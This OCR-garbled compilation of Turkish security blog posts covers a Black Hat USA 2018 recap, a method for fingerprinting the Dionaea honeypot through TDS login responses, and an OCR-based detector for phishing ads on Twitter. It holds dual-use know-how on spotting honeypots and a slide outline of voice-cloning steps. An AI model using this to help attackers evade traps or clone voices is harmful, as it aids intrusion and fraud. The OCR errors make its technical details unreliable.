%98’inin 90 giin i¢inde iireticiler tarafindan giderildigini belirtti. Dileyenler muazzam agilis videosunu asagidan, acilis konugmasinin
tamamini ise buradan izleyebilirler.

Gegtigimiz yillarda oldugu gibi yine paralelde ilgimi ¢eken ¢ok sayida sunum olmasi sebebiyle Black Hat USA‘in mobil uygulamasi
iizerinden hangi sunumlara katilacagima karar vermekte giicliik ¢ektim.
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https://en.wikipedia.org/wiki/Jeff_Moss_(hacker)
https://en.wikipedia.org/wiki/Parisa_Tabriz
https://www.blog.google/products/chrome/milestone-chrome-security-marking-http-not-secure/
https://www.youtube.com/watch?v=py2qmGbyhlw&t=9m45s
https://play.google.com/store/apps/details?id=com.coreapps.android.followme.blackhat&hl=en_US
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Briefings

Detecting Credential Compromise
in AWS

10:30 - 10:55

South Pacific F

Dissecting Non-Malicious Artifacts:
One IP ata Time

10:30-10:55

Islander FG

Edge Side Include Injection: Abusing

Caching Servers into SSRF and Transp...
10:30 - 10:55
Jasmine Ballroom

Exposing the Bait: A Qualitative

Look at the Impact of Autonomous Pee...
10:30 - 10:55

Lagoon JKL

Finding Xori: Malware Analysis Triage
with Automated Disassembly
10:30-10:55

South Seas CDF
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Cogu sunumun, sunum dosyas1 yayimnlandigi i¢in her bir sunuma ayr1 ayr1 deginmeden her birinini ayr1 ayr1 incelemenizi tavsiye edebilirim.
Ik giiniin en ¢ok begendigim sunumlarini siralayacak olursam;

e Zararli yazilim analizi alaninda da ¢alismalart ile taninan Amanda Rousseau‘nun gelistirip tanittig1 disassembler aracini iceren Finding
Xori: Malware Analysis Triage with Automated Disassembly sunumu,

Present Day

Common Disassemblers

Capsto 3
ipstone Radare2 IDA Pro Hopper Binary
¥

Ninja
smal

”

¢ Giivenlik Enstriimanli Sistemi (safety instrumented system) hedef alan ilk zararli yazilim olarak tarihe gegen Triton hakkinda detayli
bilgilerin yer aldigit TRITON: How it Disrupted Safety Systems and Changed the Threat Landscape of Industrial Control Systems
Forever sunumu,

* Donanim yazilimlarina (firmware) gergeklestirilen gesitli saldir1 yontemlerini ve tekniklerini konu alan Remotely Attacking System
Firmware sunumu,



https://twitter.com/malwareunicorn
https://www.blackhat.com/us-18/briefings/schedule/index.html#finding-xori-malware-analysis-triage-with-automated-disassembly-11073
https://www.blackhat.com/us-18/briefings/schedule/index.html#finding-xori-malware-analysis-triage-with-automated-disassembly-11073
https://www.blackhat.com/us-18/briefings/schedule/#triton-how-it-disrupted-safety-systems-and-changed-the-threat-landscape-of-industrial-control-systems-forever-11647
https://www.blackhat.com/us-18/briefings/schedule/#triton-how-it-disrupted-safety-systems-and-changed-the-threat-landscape-of-industrial-control-systems-forever-11647
https://www.blackhat.com/us-18/briefings/schedule/#remotely-attacking-system-firmware-11588
https://www.blackhat.com/us-18/briefings/schedule/#remotely-attacking-system-firmware-11588
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* Microfost’un sesli asistan uygulamasinin kétitye kullanimini gézler 6niine seren Open Sesame: Pickin cks with Cortana sunumu,

* Why it’s called Evil M
= Think the laptog
* But al

* Israilli giivenlik aragtirmacisinin air gap denilen, yerel aglara ve internete bagli olmayan sistemlerden (faraday kafesindeki de dahil)
nasil veri sizdirilabildigini ¢ok sayida yontemle gosterdigi The Air-Gap Jumpers sunumu



https://www.blackhat.com/us-18/briefings/schedule/#open-sesame-picking-locks-with-cortana-10547
https://www.blackhat.com/us-18/briefings/schedule/#the-air-gap-jumpers-10967

Sunumlar arasi yine her Black Hat’te oldugu gibi hincahing kalabaligin arasinda 3 farkli katta gerceklestirilen sunumlara ulagabilmek igin
epey caba sarfettim. Sunumlardan arda kalan zamanlarda da yine giivenlik diinyasinin biiyiik iireticilerinin yer aldig1 Business Hall‘a,
giivenlik araglarinin tanitildig1 meshur Black Hat Arsenal ‘e, Black Hat agina gerceklestirilen siber saldirilar izleyen Black Hat NOC odasina,
kitapgisina ve pek tabii ki okurlarim, takipgilerim i¢in diizenleyecegim hediye ¢ekilisi i¢in Black Hat magazasina ¢am sakizi goban armagani

hediyeler almak i¢in ugradim. :)



https://www.blackhat.com/us-18/business-hall.html
https://www.blackhat.com/us-18/arsenal/schedule/index.html
https://www.blackhat.com/us-18/noc.html
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Ikinci giin ise yine aym yogunlukta ve tempoda kaldig1 yerden devam etti. ikinci giiniin en ¢ok begendigim sunumlari ise;

* Son yillarda olduk¢a popiiler olan yaniltma (deception) teknolojilerinin nasil tespit edilip atlatilabilecegini konu alan Real Eyes,
Realize, Real Lies: Beating Deception Technologies sunumu,

¢ Sesli dogrulama/tanima sistemlerinin makine &grenmesi (machine learning) ile nasil atlatilabildigini gosteren Your Voice is My
Passport sunumu,



https://www.blackhat.com/us-18/briefings/schedule/index.html#real-eyes-realize-real-lies-beating-deception-technologies-9934
https://www.blackhat.com/us-18/briefings/schedule/index.html#real-eyes-realize-real-lies-beating-deception-technologies-9934
https://www.blackhat.com/us-18/briefings/schedule/#your-voice-is-my-passport-11395
https://www.blackhat.com/us-18/briefings/schedule/#your-voice-is-my-passport-11395

/v\

bisakhat Putting it all together

1.Scrape data from target (e.g. Youtube)

2.Select high-quality samples

3.Transcribe and chunk audio

4.Augment audio by shifting pitch

5.Train general TTS model on open source dataset

6.Replace general model training data with target data; finish
training

7.Synthesize voice from model

* Devlet destekli siber saldirilarda kullanilan Stealth Mango ve Tangelo isimli mobil casus yazilimlarin analizini konu alan Stealth

Mango and the Prevalence of Mobile Surveillanceware sunumu,

Stealth Mango & Tangelo

Freelance developed, nati

|
- A L ~. -
Android and iOS implants Threat ;
;- TheOne'
’ Android - StealthMango aka StealthAgent ¥ Freelance developers Imkedlto Spy
® iOS - Tangelo . APT group or individual(s) believed to be a part of
Development and surveillance was very active the Pakistani Military and previously linked to
WCM*I'andTmTtbo.
Targets ‘
Primary - Activists, government officials, and N
. members of the military in Pakistan, Afghanistan,
India, Iraq, and the UAE '
- Secondary - inadvertent collection from victims in
the United States, Australia, and elsewhere

N

¢ Sizma testlerinde siklikla kullanilan meshur mimikatz aracinin gelistiricisi Benjamin Delpy‘in gergeklestirdigi, DCShadow saldirisi

ile Active Directory’i ele gecirmeye imkan taniyan So I became a Domain Controller sunumu,



https://www.blackhat.com/us-18/briefings/schedule/#stealth-mango-and-the-prevalence-of-mobile-surveillanceware-10644
https://www.blackhat.com/us-18/briefings/schedule/#stealth-mango-and-the-prevalence-of-mobile-surveillanceware-10644
https://github.com/gentilkiwi/mimikatz
https://twitter.com/gentilkiwi
https://www.blackhat.com/us-18/briefings/schedule/#so-i-became-a-domain-controller-10188
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e Windows Defender’in antiviriis Sykiiniiciisiiniin (emulator) derinlemesine analinizin yer aldigi Windows Offender: Reverse
Engineering Windows Defender’s Antivirus Emulator sunumu,

Static Analysis

® ~12 MB DLL
® -30,000 functions
® |DA Pro
© Patch analysis with BinDiff
® Microsoft publishes PDBs
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g
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Emek ve zaman harcanarak gerceklestirilen giivenlik arastirmalarini konu alan birbirinden faydali, degerli sunumlari, atmosferi ve anilari ile
beni oldukca tatmin ve memnun eden bir Black Hat USA konferas1 daha geride kaldi. 2016 yilindaki blog yazimin sonunda, Cherokee Jeep’i
hackleyerek iinlerine {in katan Charlie Miller ve Chris Valasek ile olan fotografima yer vermistim. Bu yazinin kapanisini da siber giivenlik
camiasinin yakindan tanidigi, F-Secure firmasinin CRO’su Mikko Hyppdnen ile olan fotografim ile son vermek istedim.

3-8 Agustos 2019’da Black Hat USA’de goriismek hayaliyle (totem) herkese giivenli giinler dilerim.



https://www.blackhat.com/us-18/briefings/schedule/index.html#windows-offender-reverse-engineering-windows-defenders-antivirus-emulator-9981
https://www.blackhat.com/us-18/briefings/schedule/index.html#windows-offender-reverse-engineering-windows-defenders-antivirus-emulator-9981
http://www.mertsarica.com/black-hat-usa-2016/
https://en.wikipedia.org/wiki/Charlie_Miller_(security_researcher)
http://chris.illmatics.com/about.html
https://www.f-secure.com
https://twitter.com/mikko
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The post Black Hat USA 2018 appeared first on Siber Giivenlik Giinliigii.

Balkiipu Tespiti

By Mert SARICA on September 3rd, 2018

Yaklasik bir yil 6nce, Tuzak Sistem ile Hacker Avi ¢alismamin planlarini yaparken, diisiik etkilesimli mi yoksa yiiksek etkilesimli mi (high
interaction) bir balkiipii sistemi kullanmaliyim ikileminde kalmistim. Aralarindaki temel farka bakildiginda, diisiik etkilesimli olan ger¢ek
bir sistemi, servisi simiile ettigi i¢in kurulumu, yonetimi ve giivenligini saglamak goérece daha kolay diyebiliriz. Yiiksek etkilesimli olana
bakildiginda ise isin iginde gercek, canli bir sistem oldugu i¢in kurulumu ve ydnetimi zahmetliyken, giivenligini saglamak ise izolasyon
sebebiyle bir o kadar zorlasiyor.

Yonetim goziiyle degerlendirdiginizde diistik etkilesimli balkiipii sistemlerinin kullanimi kulaga ¢ok daha pratik gelebiliyor olsa da balkiipii
sistemlerini kullanmanin ana amaci, siber saldirganlar1 bu sistemlere ¢ekerek kullandiklar taktikleri, teknikleri ve prosediirleri (TTP)
ogrenmek oldugu i¢in yiiksek etkilesimli sistemlerin saldirganlar tarafindan tespit edilmesi pratikte ¢ok daha zor olabiliyor. 6 ay boyunca
calisan tuzak sistemimi hackleyen onlarca siber saldirganin davranislarini izledigimde ¢ogu siber saldirgan, sistemin tuzak bir sistem olma
ihtimaline kars1 6zel kontroller gerceklestirmemisti dolayisiyla yiiksek etkilesimli yerel balkiipii sistemlerini sikilagtirmak i¢in ¢ok da ¢aba
sarfetmenize gerek kalmayabilir.

Bakildiginda diisiik etkilesimli balkiipii sistemlerini tespit etmek i¢in saldirganlarin Nmap araci ile bir basit bir tarama gergeklestirilmeleri
yeterli olabiliyor bu nedenle balkiipii sistemini canli sistemlerin yanina yerlestirmeden 6nce taninmaz hale getirmek kullanan bireyler ve
kurumlar i¢in biiylik 6nem tastyor. Kimi zaman siber saldirganlardan 6nce USOM, zafiyet barindirdigi gerekgesi ile internet servis saglayicisi
ile bu sistem 6zelinde iletisime de gegebiliyor. :)

hma
Ho

ftp

smtp
nameserver
msrpc

'tcp filtered h
'tcp open

rs\Mert>nmap

Starting Nmap 7.12 ( https:/, ).org ) A7-12 = andard Time
dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled.
vith --dr

SERVICE MERSTON
ftp ( ea honeypot ftpd
smtp )
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http://www.mertsarica.com/black-hat-usa-2018/
http://www.mertsarica.com
http://www.mertsarica.com/balkupu-tespiti/
http://www.mertsarica.com/tuzak-sistem-ile-hacker-avi/
https://en.wikipedia.org/wiki/Honeypot_(computing)
https://nmap.org/

Ulusal Siber Olaylara Mudahale Merkezi (USOM) Gzerinden 1 ip adresli bir sunucunuz Uzerinde SMB servisi ile ilgili glivenlik zafiyet
tespit edildigine dair bildirimde bulunmustur.

16.03.2017 - M517-010 - CVE-2017-0143-0148

25.09.2010 - M510-061 - CVE-2010-2729

08.09.2005 - M509-001 - CVE-2003-3103

25.09.2008 - M508-067 - CVE-2008-4250

Konu ile ilgili microsoft bllteninin adresi asagidaki gibidir.

https://technet. micrasoft.com/tr-tr/library/security/ms08-067 .aspx

Konu ile ilgili gerekli midahaleleri gerceklestirdikten sonra bilgi vermenizi rica ederiz.

Balkiipii sistemi denilince ¢ogu kisinin aklina Dionaea gelecektir. Dionaea yukaridaki ekran goriintiisiinden de goriilecegi tizere varsayilan
(default) olarak kuruldugunda Nmap tarafindan kolaylikla tespit edilebilmektedir. Dionaea’y1 taninmaz hale getirmek icin ise internette
ufak bir arastirma yaptigmizda eskiden yeniye cok sayida kaynaga (#1, #2, #3) ulasabiliyorsunuz. Ornegin MSSQL servisini simiile eden
Dionaea’y1 taninmaz hale getirmek i¢in /dionaea/mssql/mssql.py dosyasindaki r. VersionToken. TokenType parametresinin 0x00 olan degerini
0x01 yaptiginizda Nmap artik 1433. baglant1 noktasinda ¢aligan Dionaea’y1 tespit edememektedir. Dionaea, zafiyet barindiran servisleri
simiile ettigi (low interaction) i¢in bu kaynaklarda yer alan bilgiler 1s181inda taninmaz hale gelen Dionaea’y1 siber saldirgan goziiyle tespit
etmek pratikte aslinda ne kadar kolay bunu arastirmaya karar verdim.

TPot x @D
rootécent identcombat : '\'ar_']l"!b;;' nano aufs/difT/icccde/T2227 Sablbds1l,11630e10d99220cBT6fbacBidcalibib8ded 765b5 /opt /dionaea/Tib/dionaea/python/dionaea/mssql/mssqT. py~c
ib]#

root@confidentcombat : /var

var g'ep -r r.versionToken. TokenType *
docker faufs /mnt /70a8ald381d5 95fe5e5dd6f03arb26d3bbal24b2cTef7a482¢2002180d2d,/opt /dionaea/1ib/dionaea/python/dionaea/mssql /mssgl. py: r.versionToken. TokenType = 0x01
docker /aufs/diff/2cccderf22275a6064311711630e10d99220c8F6FbacBBd2cal0b2bsdes765b5 /opt/dionaea/1ib/dionaea/python/dionaea/mssql /mssql. py: r.versionToken. TokenType = 0x01
[root@confidentcombat: /var/1ib)# |}

root@conf identcombat : /var ]'!b{'
root@confidentcombat :

B COWINDOWS, 3Nemd.exe - (m] x

Dionaea’y1 kurmakla zaman kaybetmemek i¢in Deutsche Telekom tarafindan gelistirilen ve iizerinde Dionaea da dahil olmak iizere ¢ok
sayida balkiipii sistemi bulunduran T-Pot balkiipii sanal sistemini kurdum. Dionaea gibi ufacik tefecik bir balkiipii sisteminin MSSQL
servisini (TDS protokolii) tam anlamiyla simiile edemeyecegini diisiinerek ise 1433. baglant1 noktasindan baslamaya karar verdim.
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https://github.com/DinoTools/dionaea
https://www.securityartwork.es/2014/06/05/avoiding-dionaea-service-identificatio
https://devwerks.net/blog/15/dionaea-honeypot-obfuscation-avoiding-service-identification/
https://www.attacusatlas.com/how-to-set-up-dionaea-honeypot-to-evade-nmap-detection/
https://www.telekom.com/en
http://dtag-dev-sec.gi<thub.io/

System Placement

Make sure your system is reachable through the internet. Otherwise it will not capture any

attacks, other than the ones from your hostile internal network! We recommend you put it
in an unfiltered zone, where all TCP and UDP traffic is forwarded to T-Pot’s network
interface.

If you are behind a NAT gateway (e.g. home router), here is a list of ports that should be
forwarded to T-Pot.

Honeypot Transport Forwarded ports

conpot TCP 1025, 50100

cowrie TCP 2223

dionaeca TCP 21.42.135, 443, 445. 1433, 1723, 1883, 1900, 3306. 5060, 5061, 8081. 11211
dionasa UDP 69, 5060

elasticpot TCP 200

emobility TCP 8080

glastopf TCP 80

honeytrap TCP 25,110, 139, 3389, 4444 4899, 5900, 21000

ubuntu®

Installer boot menu

Press ENTER to boot or TAB to edit a menu entry
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Install Type:

C:\Users\Mert>nmap 192.168.20.128 -sV -p 21,42,135,443,445,1433,1723,1883,1900, 3306, 5060, 5061, 8081,11211

Starting Nmap 7.12 ( https://nmap.org ) at 2017-089-15 14:39 Turkey Standard Time
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid
servers with --dns-servers
Nmap scan report for 192.168.20.128
Host is up (©.80043s latency).
STATE SERVICE VERSION
open ftp Synology DiskStation NAS ftpd
open  nameserver?
open  msrpc?
open ss1/http nginx
open microsoft-ds Dionaea honeypot smbd
open ms-sql-s Dionaea honeypot MS-5QL server
open pptp (Firmware: 1)
open  unknown
closed upnp
open  mysql MySQL 5.7.16
open sip?
open  ssl/sip-tls?
http nginx
memcache memcached 1.4.25 (PID 2809; uptime 10925 seconds; curr items: 38@; total items: 461; bytes|
cached: 34896)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint
at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1883-TCP:V=7.12%1=7%D=9/15%Time=59BBBCB1%P=1686-pc-windows-windows%
SF:r(NotesRPC, 4, "@\x02/\0");
MAC Address: ©0:0C:29:CB:83:8B (VMware)
Service Info: Device: storage-misc

Bir MSSQL sunucusu ile bir istemcinin uygulama seviyesinde haberlesebilmesi i¢in TDS (Tabular Data Stream) protokoliinii kullanmasi
gerekmektedir. TDS protokolii ile MSSQL sunucusuna giris (login) yapabilmek icin ezelden beri miimkiin olan iki tiir giris yontemi
bulunmaktadir. Birincisi kullanic1 ad1 ve parola ile giris, ikincisi ise windows dogrulama (NTLM) yontemi ile giristir. Normal sartlarda
TDS protokoliine gore kullanici ad1 ve parola ile giris yapmaya ¢alistiginizda MSSQL sunucusundan gelen yanitta, jeton olarak (token)
LOGINACK TOKEN (0xAD), windows dogrulama yontemi ile giris yapmaya calistiginizda ise jeton olarak SSPI TOKEN (0xED) olmasi
gelmesi gerekmektedir ancak Dionaea her iki istek icin de ayni sonucu déonmektedir. :)

Windows dogrulama istegine Microsoft SQL 2008 Server Express siiriimiinden dénen yanit



https://msdn.microsoft.com/en-us/library/dd304523.aspx

M tds4 oncenomal_scrusunicode papng
Fie Edt Yiew Go Capture Anshze Statistics Telephony Wiredess Tooks Help

Am 9 (IERB Res=EFTES aaan
LIET +
s, Tene Sonrce Cevtraten Protsosl Length  Infs
21 23.354776 192.168.116.1 192.168.116.128 TDS 186 TDS7 pre-login message
22 23.355301 192.168,116.128 192.168.116.1 oS 91 Response
23 23.355392 192.168.116.1 192.168.116.128 705 288 TOSY login
24 23.356476 192.168.116.128 192.168.116.1 oS 196 Response
| 37 39.491326 192.168.116.1 192.168.116.128 DS 186 TOS7 pre-login message
38 30.491568 192.168.116.128 192.168.116.1 Tos 91 Response
£ 39 30.496005 192,168.116.1 192.168.116.128 05 312 TOST login, NTLMSSP NEGOTIATE
40 30.496504 192.168.116.128 192.168.116.1 o5 303 Response[Malformed Packet]
41 30.436733 192.168.116.1 192.168.116.128 TDS 268 TDS7 login[Malformed Packet]
42 30.49759@ 192.168.116.128 192.168.116.1 oS 336
151 100 454335 192, 168.116.1 192.168.116.132  TOS 106 TDET? pre-login sessage
153 109.526371 192.168.116.134 192.168.116.1 oS 97 Response
154 189.526482 192.168.116.1 192.168.116.134 TDS 288 TDS7 login
156 189.552917 192.168.116.134 192.168.116.1 oS 128 Response[Malformed Packet]
X1 172.673601 192.166.116.1 192.168.116.134  T0S 106 TOST pre-login message
223 172683224 192.168.116.134 192.168.116.1 Tos 97 Response
224 172.687912 192.168.116.1 192.168.116.134 o5 312 TOS7 login, NTLMSSP_NEGOTIATE
225 172.697538 192.168.116.134 192.168.116.1 ToS 128 Response[Malformed Packet]
© Frame 49: 383 bytes cn wire (2428 bits), 303 bytes captured (2424 bits) on interface 8
> Ethernet II, Sre: Vesare 06:78:07 (80: 20:06:78:07), Dst: Vewsre c0:00:08 (90:58:56:00:00:08)
» Internet Protocol Version 4, Src: 192.168.116.128, Dst: 192.168.116.1
» Transmission Control Protocol, Src Po 433, Dst Port: 46280, Seq: 38, Ack: 311, Len: 249
~ Tabular Data Stress
Type: Respense (4)
v Status: @l
ees weel = End of message: True
8. = Ignore this event: False
= Event netificatice: False
= Reset connection: False
= Reset connection keeping transaction state: false
Y el
»
@ 7 Frame (fracse), 33 bytes Packets: 237 * Displayed: 18 (7.6%) - Load tme: 0:0.13 Profie: Defamdt
. o . o . . .
Windows dogrulama istegine Dionaea’dan donen yanit
M tdsd_oncenomal_scrnunicode peapng o E
Fie Edt View Go Capture Anabze Siatistics Telephony Wirless Took Help
Am ;@ ERBAe=sETE aaan
m! *

e, Tene: Souir Dewtnaten Protocsl Length Ik
21 23.354776 192.168.116.1 192.168.116.128  TOS 106 TOS7 pre-login message
22 23.355301 192.168.116.128 192.166.116.1 oS 91 Response
23 23.355362 192.166.116.1 192.166.116.128  T05 288 TOS7 leogin
24 23.356476 192.168.116.128 192.168.116.1  T0S 196 Response
37 30.491326 192.168.116.1 192.168.116.128  TOS 186 TOS7 pre-login message
38 30.491568 192.168.116.128 192.168.116.1 Tos 91 Response
39 30496005 192.168.116.1 192.166.116.128  T05 312 TOS7 login, NTLMSSP_NEGOTIATE
40 30.496504 192.168.116.128 192.168.116.1 o5 303 Response[Malformed Packet]
41 30.496733 192.168.116.1 192.168.116.128  TOS 268 T0S7 login[Malformed Packet]
42 30.49759@ 192.168.116.128 192.168.116.1 oS 336 Response
151 109.454335 192,168,116.1 192.166.116.134 TS 106 TOST pre-login message
153 109.526371 192.168.116.134 192.168.116.1 oS 97 Respanse
154 189.526482 192.168.116.1 192.168.116.134  T0S 288 T0S7 login
156 189.552917 192.168.116.134 192.168.116.1 oS 128 Response[Malformed Packet]
221 172.673681 192.168.116.1 192.168.116.134 TS 186 TDST pre-login message
| 223 172.683224 192.166.116.134 192.166.116.1 o5 97 Response
+ 224 172.687912 192.168.116.1 192.168.116.134  T0S 312 T0S7 login, NTLMSSP_NEGOTIATE
[ 225 172.697530 192.168.116.134 192.168.116.1 oS 128 Response[Malforsed Packet]

Frame 225: 128 bytes on wire (1024 bits), 128 bytes captured (1824 bits) on Interface @
Ethernet II, Src: Vire_cb:B3:8b (80:0¢:20:chiB3:8b), Dst: Veare_cOi00:08 (90:58:56:c9:00:08)
Internet Protocol Version 4, Src: 192.168.116.134, Dst: 192.168.118.1
Transmission Control Protocol, Src Por 433, Dst Port: 46538, Seq: 44, Ack: 311, Len: 74
Tabular Data Stress
Type: Respoase (4)
v Status: @l
4 veal = End of message: True
8. = Ignore this event: False
= Event notificatica: False
= Reset connection: False
= Reset connection keeping transaction state: false

Packes Nusber: & ,

Teken length: 54

Interface: 1

TO% versi

Server name: Microsoft SQL Server

Server Version
¥ Teken - Done

L v v

@ 7 Frome (frace), 18 bytes

Packets: 237 - Displaryect: 18 (7.6%) - Load tme: 0:0.13

|| Profie: Defat

Durum bdyle olunca Python ile pymssql kiitiiphanesinden de faydalanarak hizlica bu farki tespit edebilen dionaea_detector.py adinda basit
bir ara¢ hazirladim. Bu arag sayesinde Nmap’in tespit edemedigi Dionaea bal kiipii sistemini basit bir kontrol ile tespit ederek, art niyetli

kisilerin pratikte bunu ne kadar basit bir sekilde tespit edebileceklerini 6grenmis oldum.
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http://www.pymssql.org/en/stable/
https://github.com/mertsarica/hack4career/blob/master/codes/dionaea_detector.py




captured (776 bits) on interface @
Js Ost: Veare_c9:00:08 (90:50:56:¢0:00:08)
Dst: 192.168.20.1

@ 7 Frame (Frame), 07 bytes Packets: 2770 - Displayed: 22 (0.5%) Profle: Defaut

Kissadan hisse, balkiipii sistemi kullanmadan once yiiksek ve disiik etkilesimli balkii sistemlerinin artilarini ve eksilerini bastan sona
degerlendirip, siber saldirganlar tarafindan tespit edilmesi zor olanini tercih etmeniz veya zorlastirma adina mevcut sistemler tizerinde
degisiklikler yapmaniz sizin veya kurumunuzun yararina olacaktir.

Bir sonraki yazida goriigmek dilegiyle herkese giivenli giinler dilerim.

Not: Ekran goriintiileri T-Pot 16.10 siiriimiine ait olsa da, dionaea detector.py aracinin T-Pot’un son siiriimii olan 17.10 siiriimii ile gelen
Dionaea’y1 da basartyla tespit edebildigi teyit edilmistir.

The post Balkiipii Tespiti appeared first on Siber Giivenlik Giinliigii.

Sponsorilu Dolandiricihik

By Mert SARICA on October 1st, 2018

Siber giivenlik diinyasinda olan biteni Twitter’dan takip ettigi igin bir gdzili Twitter’da olan bir giivenlik arastirmacisi olarak, 2018 Agustos
ay1 itibariyle Twitter’da karsima banka miisterilerini hedef alan sponsorlu oltalama (phishing) reklamlarinin ¢ikmaya basladigini farkettim.
Bagslarda bu tweetleri sadece Twitter’a bildirmekle yetinsem de, takipgilerimden gelen mesajlarin sayisinin artmasi ve bu reklamlarin Ekim
ayma kadar siirdiigiinii gériince bu konuyla yakindan ilgilenmeye karar verdim.
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http://dtag-dev-sec.github.io/mediator/feature/2017/11/07/t-pot-17.10.html
http://www.mertsarica.com/balkupu-tespiti/
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KATILIM YAPAN HERKESE
500 TL /0RO PUAN

HEDIVE!

4 10 SANSLI KiSiYE MERCEDES S350
YUKARIDAK] LINKTEN
100 Kisiye iPhone X BASVURABIURS'NIZ

11:29 - 18 Agu 18

Ed Sponsorlu
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10 Kisiye Mercedes S350

YUKARIDAKI LINKTEN

BASVURABILIRSINIZ, ' R
100 Kisive iPhone X 100 Kisive iPad Air
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500 KiSIYE
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1000 KISIYE 100 KISIYE
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YUKARIDAK] LINKTEN
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Nurseda OZDEMIR

@nursedaozdemr

Hocam bu yeni, size havale ediyorum &3
. twitter.com/ £

=
m

Aynen hocam, ilging olan twitter'a katilim tarihleri 2013, 2016 vs.
. Yeni hesap da degiller.

s

m

Tank Yildiza

< @& cuwividis 9 %

mert hocam selam :)

twitter.com/|

{‘%,, nasolda olta 7 atmis

o
m
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L x
C { | & Secure | https//twitter.com

) Hack4 Career.Inforr [} Linkedin WF Mert SARICA (merts= M Inbox - mert.saricaC

J

@ Anasayfa ‘Q Bildirimler 9 Mesajlar

Tweetler  Takip Edilen  Takipgiler
1 31 19
Tweetler  Tweetler ve yanitlar Medya

7 Agu b

ﬂ [ Ocak 2011 tarihinde katilds

YUKARIDAK] LINKTEN
BASVURABILIRSINIZ.
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W Yapi Kredi (@iyapikredi) | Twitte: X +

<« C {t & hitpsy//twitter.com, ikes

) Hack 4 Career. Info [ Linkedin W Mert SARICA (mert

@ Anasayfa

9 Mesajlar

' Twitter'da An

Tweetler Takip Edilen Takipgiler Begeni /

83

3 @

5

42 52 689

MERVE @mery_duzenli - 16 Haz v
Az once amcam onca misafirin iginde klglikken sagimi trag ettigini anlatti benim
ustdmden berber yetenegini aqklad: ve ben hala o ortamdayim

Q ! Q 2 [
Fatmanur Demir @FatmanurDmrr - 12 Haz W

Nerden buluyor bu diizglin adamlar sizi.Beni nerde beyin yoksunu biri varsa o
buluyor.Benim buldugumda neyse yine sinirlendim.Konu kapansin.

Q ! Qs &

Fatmanur Demir @ Fatmanurl 1 Haz -
Bu nasil sezon finalii beee

Q ot S &

Kader Adigiizel ©kaderadgzl - 11 Haz v
Bunlan yapan cumali degilse adim kader degil #qukur #qukursezonfina

Q Tl Q3 &

Rabia Akay @Rabiakayy - 10 Haz v
Tannm kétd kullann sen affetsen ben affetmem diye diye Bartina gidiyorum.

Qo e Q 2 )

Rabia Akay @Rabiakayy - 7 Haz w
Su hayatta ki en zor sey yildizianan notun agiklanmasini beklemek.

Q n v A B

Rabia Akay @ Rabiakayy - 3 Haz v

Bu kadar cahil kalmayi,bu kadar beyninizi kullanmaktan vazgegmeyi nasil
beceriyorsunuz? Alttarafi okuyacak ve duglneceksiniz.

Q ] Q 2 =
Rabia Akay @ Rabiakayy - 3 Haz v
© T Q 2 &

Oltalama tweetlerinden birinde yer alan baglanti1 adresini takip ettigimde dolandiricilarin, miisterinin internet bankaciligina giris esnasinda
kullandig1 kullanici adini, parolasini, sms ile gonderilen dogrulama kodunu ve ardindan da para transferinde kullanilan sms dogrulama

kodunu ¢aldiklarint gérdiim.
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@ - T

Bireysel Internet x

x @

T.C. Kimlik No

Parola

Parolami Unuttum
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Bireysel Internet

x @

5:00

Par I

.
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Bireysel Internet

x @

1 TL Kampanya Katilim Ucreti Alinacaktir Kampanya Sonu lade
Edilecektir Lutfen Onay lcin SMS Sifrenizi Giriniz

4:40
[ ors |

Bireysel Intemet

3 s Gind |gerisinde Bankamizda Kayith Telefon Numaraniza Sonuclar
lletilecektir

B Smikey face

Cogunuz gibi benim de Twitter’da bu sponsorlu oltalama reklamlarini gordiikge aklima asagidaki bazi sorular ve yanitlari takildi.
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» Twitter, aylardir birbirine fazlasiyla benzeyen, sikayet bildirimlerine konu olan bu oltalama reklamlarini engellemeye yonelik nasil
birsey yapamaz ?

 Oltalama tweetleri i¢in kullanilan hesaplarin bazilari nasil olur da yillar 6nce olusturulmus olabilir ?
* Birbirine benzeyen bu oltalama tweetleri nasil tespit edilebilir ?

Sorulara teker teker yanit aramaya koyuldugumda, kendi kendime ilk soruya yanit bulmam miimkiin olamasa da, Twitter’in bu oltalama
reklamlar1 karsisinda bu kadar caresiz (belki de vurdumduymaz) kalmasmna olduke¢a sasirdigimi soyleyebilirim. Ikinci sorunun yanitim
bulmaya geldigimde, oltalama i¢in kullanilan hesaplarin eski tarihli olmasmin muhtemel sebebi, Twitter’in buradaki yardim sayfasinda
belirttigi tizere kullanici adinin degistirilmesine imkan tanimasiydi. Bu bilgiden yola ¢ikarak, oltalama tweetleri i¢in kullanilan bu hesaplarin
kuvvetle muhtemel hacklendigini ve dolandiricilarin amaglart dogrultusunda kullanildigini séyleyebiliriz. Sira son soruya, oltalama
tweetlerinin nasil tespit edilecegine yamit bulmaya geldiginde, cogu mesajda ortak olan kelimelerden (SANSLI KiSI, KATILIM YAPAN,
YUKARIDAK) yola ¢ikarak Optik Karakter Tanima (OCR) teknolojisi ile bu tweetleri tespit etme konusunda bir ¢alisma yapmaya karar
verdim.

Tweetler  Tweetler ve yanitlar Medya

47 dk. ~

100
IPHONE X HEDIYE

< I"\Ii?i IE WVIFEL OURAINVLAINY A

B YUKARIDAK] LINKTEN
L BASVURABILIRSINIZ
)1z 2 iz 4

.

Cogu banka miisterisinin karsilastig1 bu oltalama tweetlerini bankalarin resmi Twitter hesaplari ile paylastigini gordiikten sonra araci hizlica
aklimda tasarlamaya bagladim. Aracin temel olarak yapmasi gerekenler, Twitter’da banka isimlerini aramak, tweetlerde paylasilan resimleri
indirmek, OCR ile analiz etmek ve “SANSLI KiSI, KATILIM YAPAN, YUKARIDAK?” kelimelerini tespit etmesi durumunda e-posta ile
uyarmakti. Uydurdugum, “Diisiinmek, kodlamanin yarisidir.” sdziinden yola ¢ikarak Python ile bu araci kodlamaya basladiktan kisa bir siire
sonra Tweepy isimli Python kiitiiphanesinden faydalanarak gelistirdigim Phishing Tweet Detector araci ortaya ¢ikti.

Araci galistirdiktan kisa bir siire sonra bir Twitter kullanicisinin banka ile paylastigi oltalama tweeti bu arag tarafindan tespit edilmis ve
kurumlarin, vatandaslarin bu tiir dolandiricilarla miicadele edebilmesine yardimci olabilme adina ortaya koydugum bir fikrim daha basariyla
hayata gegmis oldu. :)
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https://help.twitter.com/en/managing-your-account/change-twitter-handle
